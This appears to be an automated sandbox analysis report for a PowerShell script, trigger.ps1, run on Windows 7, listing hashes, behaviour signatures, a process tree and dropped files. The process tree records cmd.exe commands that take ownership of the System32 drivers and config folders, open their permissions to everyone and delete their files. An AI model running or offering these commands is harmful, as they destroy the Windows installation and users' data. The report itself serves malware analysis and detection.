Analysis

  • max time kernel
    16s
  • max time network
    19s
  • platform
    windows7_x64
  • resource
    win7-20240705-en
  • resource tags

    arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
  • submitted
    13-08-2024 20:55

General

  • Target

    trigger.ps1

  • Size

    1KB

  • MD5

    84cb1e2083b8106b83a45c6aa00dd55d

  • SHA1

    e12ea5b7deb81774acb89088dc1f2dce755782e9

  • SHA256

    735116a2700250eb6865f98ebef5519c9de350fde9fc5bb0a3b3c18a63486c78

  • SHA512

    4b01e6fcd0776596cf39de15cf7b8777f508246c6fb0f0023067db9116d364bd4693b71d9273c942c9357f18a2a631ec698b7e0a00d3f239da90df0b882e5e3a

Malware Config

Signatures

  • Possible privilege escalation attempt 4 IoCs
  • Modifies file permissions 1 TTPs 4 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of FindShellTrayWindow 51 IoCs
  • Suspicious use of SendNotifyMessage 48 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\trigger.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1544
    • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ptkhlbfa.cmdline"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2556
      • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
        C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE947.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCE946.tmp"
        3⤵
          PID:2772
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /k "takeown /f C:\Windows\System32\drivers\* >nul && icacls C:\Windows\System32\drivers\* /grant everyone:(f) >nul && del /s /q C:\Windows\System32\drivers\* >nul 2>&1 && exit"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2104
        • C:\Windows\system32\takeown.exe
          takeown /f C:\Windows\System32\drivers\*
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:2652
        • C:\Windows\system32\icacls.exe
          icacls C:\Windows\System32\drivers\* /grant everyone:(f)
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:2596
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /k "takeown /f C:\Windows\System32\config\* >nul && icacls C:\Windows\System32\config\* /grant everyone:(f) >nul && del /s /q C:\Windows\System32\config\* >nul 2>&1 && exit"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1704
        • C:\Windows\system32\takeown.exe
          takeown /f C:\Windows\System32\config\*
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:2740
        • C:\Windows\system32\icacls.exe
          icacls C:\Windows\System32\config\* /grant everyone:(f)
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:2552
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe"
      1⤵
      • Enumerates system info in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:3048
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef1c39758,0x7fef1c39768,0x7fef1c39778
        2⤵
          PID:2388
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1112 --field-trial-handle=1456,i,4685355204349144112,12617372903317574060,131072 /prefetch:2
          2⤵
            PID:2536
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1368 --field-trial-handle=1456,i,4685355204349144112,12617372903317574060,131072 /prefetch:8
            2⤵
              PID:2144
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1620 --field-trial-handle=1456,i,4685355204349144112,12617372903317574060,131072 /prefetch:8
              2⤵
                PID:1240
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2088 --field-trial-handle=1456,i,4685355204349144112,12617372903317574060,131072 /prefetch:1
                2⤵
                  PID:2952
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2096 --field-trial-handle=1456,i,4685355204349144112,12617372903317574060,131072 /prefetch:1
                  2⤵
                    PID:1684
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1576 --field-trial-handle=1456,i,4685355204349144112,12617372903317574060,131072 /prefetch:2
                    2⤵
                      PID:1304
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=2824 --field-trial-handle=1456,i,4685355204349144112,12617372903317574060,131072 /prefetch:1
                      2⤵
                        PID:1080
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3612 --field-trial-handle=1456,i,4685355204349144112,12617372903317574060,131072 /prefetch:8
                        2⤵
                          PID:2480
                      • C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
                        "C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
                        1⤵
                          PID:332

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\000006.dbtmp

                          Filesize

                          16B

                          MD5

                          aefd77f47fb84fae5ea194496b44c67a

                          SHA1

                          dcfbb6a5b8d05662c4858664f81693bb7f803b82

                          SHA256

                          4166bf17b2da789b0d0cc5c74203041d98005f5d4ef88c27e8281e00148cd611

                          SHA512

                          b733d502138821948267a8b27401d7c0751e590e1298fda1428e663ccd02f55d0d2446ff4bc265bdcdc61f952d13c01524a5341bc86afc3c2cde1d8589b2e1c3

                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_1

                          Filesize

                          264KB

                          MD5

                          f50f89a0a91564d0b8a211f8921aa7de

                          SHA1

                          112403a17dd69d5b9018b8cede023cb3b54eab7d

                          SHA256

                          b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec

                          SHA512

                          bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58

                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\000007.dbtmp

                          Filesize

                          16B

                          MD5

                          18e723571b00fb1694a3bad6c78e4054

                          SHA1

                          afcc0ef32d46fe59e0483f9a3c891d3034d12f32

                          SHA256

                          8af72f43857550b01eab1019335772b367a17a9884a7a759fdf4fe6f272b90aa

                          SHA512

                          43bb0af7d3984012d2d67ca6b71f0201e5b948e6fe26a899641c4c6f066c59906d468ddf7f1df5ea5fa33c2bc5ea8219c0f2c82e0a5c365ad7581b898a8859e2

                        • C:\Users\Admin\AppData\Local\Temp\RESE947.tmp

                          Filesize

                          1KB

                          MD5

                          f6889b033096c70be374c2949e42df7a

                          SHA1

                          ca86bf05395c0951fd602ff62b1e0d22e3203b9c

                          SHA256

                          b35f178e024387a026a9cdffbe94c908f1b7b3f57b8c7258168b82a2f5543ff6

                          SHA512

                          b89d6c50872d281197253ca102e3d497d5f5f317af4157f34b4d63e7a6b0b4e4ddb82ae5ce57b1b5c80e583aadfa7bcaecf6a2ee3b1722e5c5502dc9e8bca4a9

                        • C:\Users\Admin\AppData\Local\Temp\ptkhlbfa.dll

                          Filesize

                          3KB

                          MD5

                          4d8961bd8c6a6ee6655c177806dc1d77

                          SHA1

                          ff2b92fb04c09f3f8e9c79c6e7d37969be556ad0

                          SHA256

                          2a5ad5ec20e02d0fe8e464b9b6355ca564dfe4f31cb1c3ad42f60ab8839a1348

                          SHA512

                          083484c5fac01458b82dade9106dfcfe2e1da2b5838218e60a5350682da06e82af53150738bbb388d49f4594dbbc93f5e349ea3cc71eb6c6258704f619cfd155

                        • C:\Users\Admin\AppData\Local\Temp\ptkhlbfa.pdb

                          Filesize

                          11KB

                          MD5

                          fb82e9d51879cee211c397e82b2d0147

                          SHA1

                          504c2f160a4d6854e18bb994a6c13a3d847c2fae

                          SHA256

                          d5dcae6a58793c0f1245593eb8a54675271255bdea101c45d036e548c2df4485

                          SHA512

                          f94bde06c3633f363a3846936aad6b6dce083af81254828f6d9e538c0de234c79cde23426bd0381a916f8c144780fd334ed04f35567f69cca793e2615dddfc8f

                        • \??\c:\Users\Admin\AppData\Local\Temp\CSCE946.tmp

                          Filesize

                          652B

                          MD5

                          7c7c012660b8b57b7cbd420695cf6201

                          SHA1

                          f984c3b6ea7c992cfdcf876bb6e27cb685aed5cd

                          SHA256

                          cdebb2e8d20e81d2d547d2fecfd1bdc0f4c7be797b2af12ce97acd97f87db100

                          SHA512

                          6625fc4f37889911baeeb51f7c3704096a6bf4943436935469d7e8c562a44993c6615dc4a603ccfa1745aa23394a2df7cc0c7bbef5757750b4b3e70ce3b60650

                        • \??\c:\Users\Admin\AppData\Local\Temp\ptkhlbfa.0.cs

                          Filesize

                          819B

                          MD5

                          41f8d18f0172904a2236dd9396ead480

                          SHA1

                          35e7150c927b97b26d922f07a51e8fe833752933

                          SHA256

                          d842c81d3641d456116098208a48542a96d5e4d256169069189e459cc265cef5

                          SHA512

                          43dea5a479cf203bde58b412ac1ca7c064048e7d4544b2ef4354773a1805ccba2b85e6772466da0b9409fadaaa0f6f49654ed1e33a9ef75a4d43c3f058773da3

                        • \??\c:\Users\Admin\AppData\Local\Temp\ptkhlbfa.cmdline

                          Filesize

                          309B

                          MD5

                          7d7998eb6bfc478f040353d9c8c82773

                          SHA1

                          a97cd60009a6f1d0c69e1d2b6d24470a1363b8bc

                          SHA256

                          11e342dd56017b3873e93db0ce5f3e9ecea70a5ad431f8cbb56599b2568e3a5d

                          SHA512

                          5ccb540f879a775477c87ee877c508a09cd976306e82476356cd6b5f29bd9e25ce00cf1ddcb773a9b6e2afd87779229c1f7e6ba9dc8cb9951a0c1cde7e294d3d

                        • \??\pipe\crashpad_3048_DXBWFPEQEPQAZBZO

                          MD5

                          d41d8cd98f00b204e9800998ecf8427e

                          SHA1

                          da39a3ee5e6b4b0d3255bfef95601890afd80709

                          SHA256

                          e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                          SHA512

                          cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                        • memory/1544-12-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

                          Filesize

                          9.6MB

                        • memory/1544-24-0x0000000002C60000-0x0000000002C68000-memory.dmp

                          Filesize

                          32KB

                        • memory/1544-7-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

                          Filesize

                          9.6MB

                        • memory/1544-4-0x000007FEF586E000-0x000007FEF586F000-memory.dmp

                          Filesize

                          4KB

                        • memory/1544-6-0x0000000002340000-0x0000000002348000-memory.dmp

                          Filesize

                          32KB

                        • memory/1544-5-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

                          Filesize

                          2.9MB

                        • memory/1544-93-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

                          Filesize

                          9.6MB

                        • memory/1544-98-0x000007FEF586E000-0x000007FEF586F000-memory.dmp

                          Filesize

                          4KB

                        • memory/1544-99-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

                          Filesize

                          9.6MB

                        • memory/1544-104-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

                          Filesize

                          9.6MB

                        • memory/2556-22-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

                          Filesize

                          9.6MB

                        • memory/2556-14-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

                          Filesize

                          9.6MB